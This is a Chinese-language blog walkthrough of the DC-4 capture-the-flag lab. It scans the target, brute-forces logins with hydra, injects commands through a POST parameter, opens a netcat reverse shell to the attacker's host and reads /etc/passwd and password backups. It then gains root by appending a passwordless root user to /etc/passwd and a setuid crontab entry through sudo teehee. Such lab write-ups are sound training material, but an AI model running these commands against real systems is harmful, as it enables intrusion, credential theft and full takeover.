DC_4 靶场夺旗

兵无常势,水无常形,能因敌而致胜者,谓之神

环境准备

VMware Workstation Pro12
Kali Linux (IP10.10.16.128)
DC_4 虚拟机
NAT 网络连接

1. 主机发现

方法一:fping -asg 10.10.16.0/24
方法二:nmap -sP 10.10.16.0/24

在这里插入图片描述
在这里插入图片描述

2. 端口扫描

nmap -A -v -sS -sV -p- -T4 10.10.16.140

22 端口:ssh 远程登录服务
80 端口:http 服务
在这里插入图片描述

3. 目录爆破

dirb http://10.10.16.140

在这里插入图片描述

4. 漏洞挖掘

  1. 访问靶机地址 10.10.16.140 ,发现是一个管理员登录界面。
    在这里插入图片描述
  2. 爆破一:使用 Burpsuite 的 intruder 模块爆破
    字典选择 /usr/share/john/password.lst 。字典有点大,线程选大一点,会比较快。
  3. 爆破二:使用 hydra 爆破
    ① 第一次使用 rockyou.txt 字典时要先解压,进入 /usr/share/wordlists
gunzip rockyou.txt.gz

在这里插入图片描述

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.16.140 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F

② 得到 账号/密码:admin/happy
在这里插入图片描述

5. 漏洞利用

  1. 使用爆破得出的帐密:admin/happy 登录。
    在这里插入图片描述
  2. 如上可以有三个命令可操作,打开开发者工具(f12),可见命令对应的参数是由 POST 方法提交。
    在这里插入图片描述
  3. 用 Hackbar 尝试改变参数 radio=123&submit=Run 提交,发现参数可以提交且能够显示出来。
    (ps :当然,这里也可以使用 Burp 的 repeater 模块对 POST 参数进行修改后再进行会话重放)
    在这里插入图片描述
  4. 提交一个 XSS payload 也可以,可见源码没有对参数进行过滤,对于前端提交的 POST 参数用户可控。
    在这里插入图片描述
  5. 既然输入的参数用户可控,那就可以用 瑞士军刀 反弹 shell。

① 在 Kali 中监听 4444 端口

nc -lvnp 4444

在这里插入图片描述

② 在 Hackbar 提交如下参数

nc -e /bin/sh 10.10.16.128 4444

在这里插入图片描述

③ 进入交互式 shell

python -c 'import pty;pty.spawn("/bin/bash")'

这里其实也大可不必如此绕弯,前面分析得知源码中没有对前端提交的参数进行过滤,且参数用户可控,所以这其实也就是一个交互式的 shell 了,直接对 POST 参数进行修改提交命令即可。

  1. 访问 /etc/passwd ,得到三个重要用户信息。
    PS : 这个文件中保存的就是系统中所有的用户和用户的主要信息。
radio=cat /etc/passwd&submit=Run

在这里插入图片描述

  1. 访问家目录中 Jim 、charles 和 sam 目录的内容,在 Jim 中发现可用信息。
radio=ls al/home/jim&submit=Run

在这里插入图片描述

  1. 进入 backups 文件夹发现一个密码文件 old-passwords.bak
radio=cat /home/jim/backups/old-passwords.bak&submit=Run

在这里插入图片描述

  1. 猜测是用户密码文件,将三个用户名保存在 username,将上面获得的密码保存在 password 文件,使用 hydra 进行 ssh 登录爆破,得到 jim/jibril04
hydra -L username -P password -t 10 ssh://10.10.16.140
()hydra -l jim -P password -t 10 ssh://10.10.16.140

在这里插入图片描述

  1. 使用爆破得到的 jim/jibril04 远程登录
    在这里插入图片描述
  2. 打开 mbox 文件,发现是 root 发来的一封测试邮件,不过没有什么内容。
    在这里插入图片描述
  3. 进入 /var/mail 查看邮件日志,发现了 Charles 的密码

/var 某些大文件的溢出区,比方说各种服务的日志文件
/var/mail 邮件日志相关

在这里插入图片描述

  1. 在 jim 用户下也只能找到这么多有用信息,接下来切换到 charles 用户下,使用 sudo -l 查看自己的权限
    在这里插入图片描述
  2. 利用 teehee (有 root 权限,可读写私密文件)和 echo + sudo 写入文件提权

① /etc/passwd

使用 echo 命令与 sudo 命令配合使用,可以实现向那些只有系统管理员才有权限操作的文件(如:/etc/passwd)中写入信息,在 /etc/passwd 文件中添加一个有 root 权限的用户 zhutou

echo "zhutou::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

在这里插入图片描述
在这里插入图片描述

② /etc/crontab

或者可以通过向 /etc/crontab 文件中写入新的定时任务,由定时任务去执行脚本从而提权

修改/etc/crontab这种方法只有root用户能用,这种方法更加方便与直接直接给其他用户设置计划任务,而且还可以指定执行shell等等

echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab 

在这里插入图片描述

                                                                                                                                猪头
                                                                                                                             2020.2.22
发布了26 篇原创文章 · 获赞 3 · 访问量 1202

猜你喜欢

转载自blog.csdn.net/LZHPIG/article/details/104428937